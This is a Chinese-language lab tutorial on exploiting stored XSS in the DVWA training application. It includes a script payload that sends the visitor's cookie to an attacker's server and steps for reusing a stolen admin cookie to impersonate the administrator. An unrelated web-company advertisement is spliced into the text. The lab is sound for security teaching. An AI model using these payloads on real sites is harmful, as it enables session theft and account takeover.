DVWA系列之21存儲型XSS分析與利用

存儲型跨站可以將XSS語句直接寫入到數據庫中，因而相比反射型跨站的利用價值要更大。

成都創新互聯公司專注為客戶提供全方位的互聯網綜合服務，包含不限于網站建設、網站設計、錦江網絡推廣、微信小程序開發、錦江網絡營銷、錦江企業策劃、錦江品牌公關、搜索引擎seo、人物專訪、企業宣傳片、企業代運營等，從售前售中售后，我們都將竭誠為您服務，您的肯定，是我們最大的嘉獎；成都創新互聯公司為所有大學生創業者提供錦江建站搭建服務，24小時服務熱線：18980820575，官方網址：vcdvsql.cn

在DVWA中選擇XSS stored，這里提供了一個類型留言本的頁面。

DVWA系列之21 存儲型XSS分析與利用

我們首先查看low級別的代碼，這里提供了$message和$name兩個變量，分別用于接收用戶在Message和Name框中所提交的數據。對這兩個變量都通過MySQL_real_escape_string()函數進行了過濾，但是這只能阻止SQL注入漏洞。

DVWA系列之21 存儲型XSS分析與利用

可以看出，在low級別下，Name和Message這兩個文本框都存在跨站漏洞，但是由于DVWA對name框的長度進行了限制，最多只允許輸入10個字符，所以我們這里在Message框輸入跨站語句“<script>alert('hi')</script>”，以后任何人只要訪問這個留言頁面，就可以觸發跨站語句，實現彈框。

當然，彈框并不是目的，XSS的主要用途之一是盜取cookie，也就是將用戶的cookie自動發送到***的電腦中。

下面我們準備一臺安裝有PHP環境的Web服務器（IP地址192.168.80.132），在其中創建一個名為getcookie.php的網頁，網頁代碼如下：

DVWA系列之21 存儲型XSS分析與利用

然后在Message框中輸入下面這段XSS語句，注意中間沒有換行：

<script>document.write('<img src="http://192.168.80.132/getcookie.php?cookie='+document.cookie+'" height=0 border=0 />');</script>

在DVWA中提交之后，這時就會在getcookie.php網頁所在的目錄下生成一個名為cookie.txt的文件，其中就含有竊取過來的cookie：

DVWA系列之21 存儲型XSS分析與利用

那么我們該怎么利用竊取過來的cookie呢？由于這個cookie是以管理員的身份創建的，有些網站的cookie中會直接包含有管理員的賬號和密碼，這里的cookie雖然沒有密碼，但我們可以利用這個cookie假冒管理員的身份去執行某些操作。

比如在之前的CSRF測試頁面中可以更改管理員的密碼，我們將這個頁面的URL復制下來：http://192.168.80.1/dvwa/vulnerabilities/csrf/，然后新打開一個瀏覽器窗口，將URL粘貼過去直接訪問，由于這個頁面只有管理員權限才可以訪問，因而這時就會自動跳轉到DVWA的登錄界面。

現在我們已經竊取到了管理員的cookie，因而就可以繞過身份驗證，而直接去訪問CSRF頁面。當然這里需要借助一些可以修改cookie的工具，很多***工具都提供了類似的功能，比如經典的啊D。在“掃描注入點”的“檢測網址”中輸入要訪問的URL，然后點擊最右側的“cookies 修改”按鈕，在下方的文本框中輸入竊取來的cookie，點擊修改按鈕，然后再點擊“打開網頁”按鈕，這時就可以直接以管理員身份訪問這個頁面了。

DVWA系列之21 存儲型XSS分析與利用

下面再分析一下medium級別的代碼，可以看到對變量$message用htmlspecialchars()函數進行了過濾，這樣Message輸入框就不存在XSS漏洞了，但是Name框仍有漏洞。不過由于DVWA對Name框的長度進行了限制，只允許最多輸入10個字符，因而這里的XSS***就有些難度了，網上有不少如何縮短XSS語句長度的資料，但我沒查到合適的***方法，這個問題也只能暫時擱置了。

DVWA系列之21 存儲型XSS分析與利用